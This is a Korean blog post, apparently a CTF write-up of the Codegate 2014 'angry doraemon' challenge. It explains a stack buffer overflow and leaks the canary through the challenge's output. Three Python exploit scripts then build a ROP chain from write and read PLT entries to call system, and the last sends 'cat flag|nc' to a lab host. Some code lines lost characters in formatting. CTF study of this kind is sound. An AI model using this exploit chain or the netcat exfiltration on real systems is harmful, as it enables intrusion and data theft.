ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • codegate 2014 angry doraemon
    CTF&Wargame/ETC 2017.01.15 09:14

    nuclear와 비슷한 문제라는 얘기를 듣고 한번 풀어볼려했는데 ssp걸려있다. 하지만 그냥 풀어보자


    우선 처음 4번을 누르면 위와같은 함수로 진입하게 되는데

    read함수에서 buf크기보다 많은 사이즈를 입력받게 되면서 취약점이 발생한다.

    nuclear와 다른점은 passcode를 릭하는 대신 canary를 릭해야한다.

    fork()함수 덕분에 canary값이 고정이 되는데 밑에 You choose에서 알아낼 수 있다.


    buf의 위치는 bp-16임으로 v8과는 0xA만큼 떨어져있다.

    즉 값을 10개 넣어주면 알 수 있을거라 생각했는데 11개를 넣어야한다.

    sprintf는 null값을 만날 때 까지 출력을 하므로 보면 canary의 마지막 바이트가 null인걸 알 수 있다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    from socket import *
    import hexdump
    import time
     
    = socket(AF_INET, SOCK_STREAM)
    s.connect(("192.168.153.139"8888))
     
    time.sleep(3)
    print s.recv(1024)
     
    s.send("4\n")
    print s.recv(1024)
     
    s.send("y"*11)
    data = s.recv(1024)
    print hexdump.hexdump(data)
     
    cs


    canary = 0x1ca8f500이다. 이제 nuclear처럼 시스템 주소를 얻어보자

    이번에는 write함수를 사용해서 얻을 것이다.




    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    from struct import *
    from socket import *
    from time import sleep
     
    = lambda x: pack("<L", x)
    up = lambda x: unpack("<L", x)[0]
     
    = socket(AF_INET, SOCK_STREAM)
    s.connect(("192.168.153.139"8888))
     
    canary = 0x1ca8f500
    write_plt = 0x080486e0
    write_got = 0x0804b040
    pppr = 0x08048ea6
    offset = 0x09aef0
     
    payload = "y"*10
    payload += p(canary)
    payload += "A"*12
    payload += p(write_plt)
    payload += p(pppr)
    payload += p(4)
    payload += p(write_got)
    payload += p(4)
     
    sleep(2)
    print s.recv(1024)
    s.send("4\n")
    print s.recv(1024)
    sleep(1)
    print s.recv(1024)
     
     
    s.send(payload+"\n")
     
    write_real = up(s.recv(4))
     
    system = write_real - offset
    print hex(system)
    s.close()
    cs


    이제 시스템 주소까지 구했다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    from struct import *
    from socket import *
    from time import sleep
     
    = lambda x: pack("<L", x)
    up = lambda x: unpack("<L", x)[0]
     
    = socket(AF_INET, SOCK_STREAM)
    s.connect(("192.168.153.139"8888))
     
    sh = "cat flag|nc 192.168.153.139 3722"
     
    canary = 0x1ca8f500
    bss = 0x0804b080
    read_plt = 0x08048620
    pppr = 0x08048ea6
    system = 0xb7638d80
     
    payload = "y"*10
    payload += p(canary)
    payload += "A"*12
    payload += p(read_plt)
    payload += p(pppr)
    payload += p(4)
    payload += p(bss)
    payload += p(len(sh))
     
    payload += p(system)
    payload += "AAAA"
    payload += p(bss)
     
    sleep(2)
    print s.recv(1024)
    s.send("4"+"\n")
    print s.recv(1024)
    print s.recv(1024)
     
    s.send(payload+"\n")
     
    s.send(sh+"\n")
    print s.recv(1024)
    s.close()
    cs


    nuclear와 비슷한 문제였지만 canary차이였고 마지막 쉘 얻을 때 잘 안됬는데 여튼 잘 되서 다행이다.


    'CTF&Wargame > ETC' 카테고리의 다른 글

    insomnihack CTF bender_safe  (0) 2017.01.22
    Plaid ctf prodmanager  (0) 2017.01.16
    codegate 2014 angry doraemon  (0) 2017.01.15
    Warm-Heap  (0) 2017.01.15
    codegate 2014 nuclear  (0) 2017.01.13
    holyshield pwnit  (0) 2017.01.10

    댓글 0

Designed by Tistory.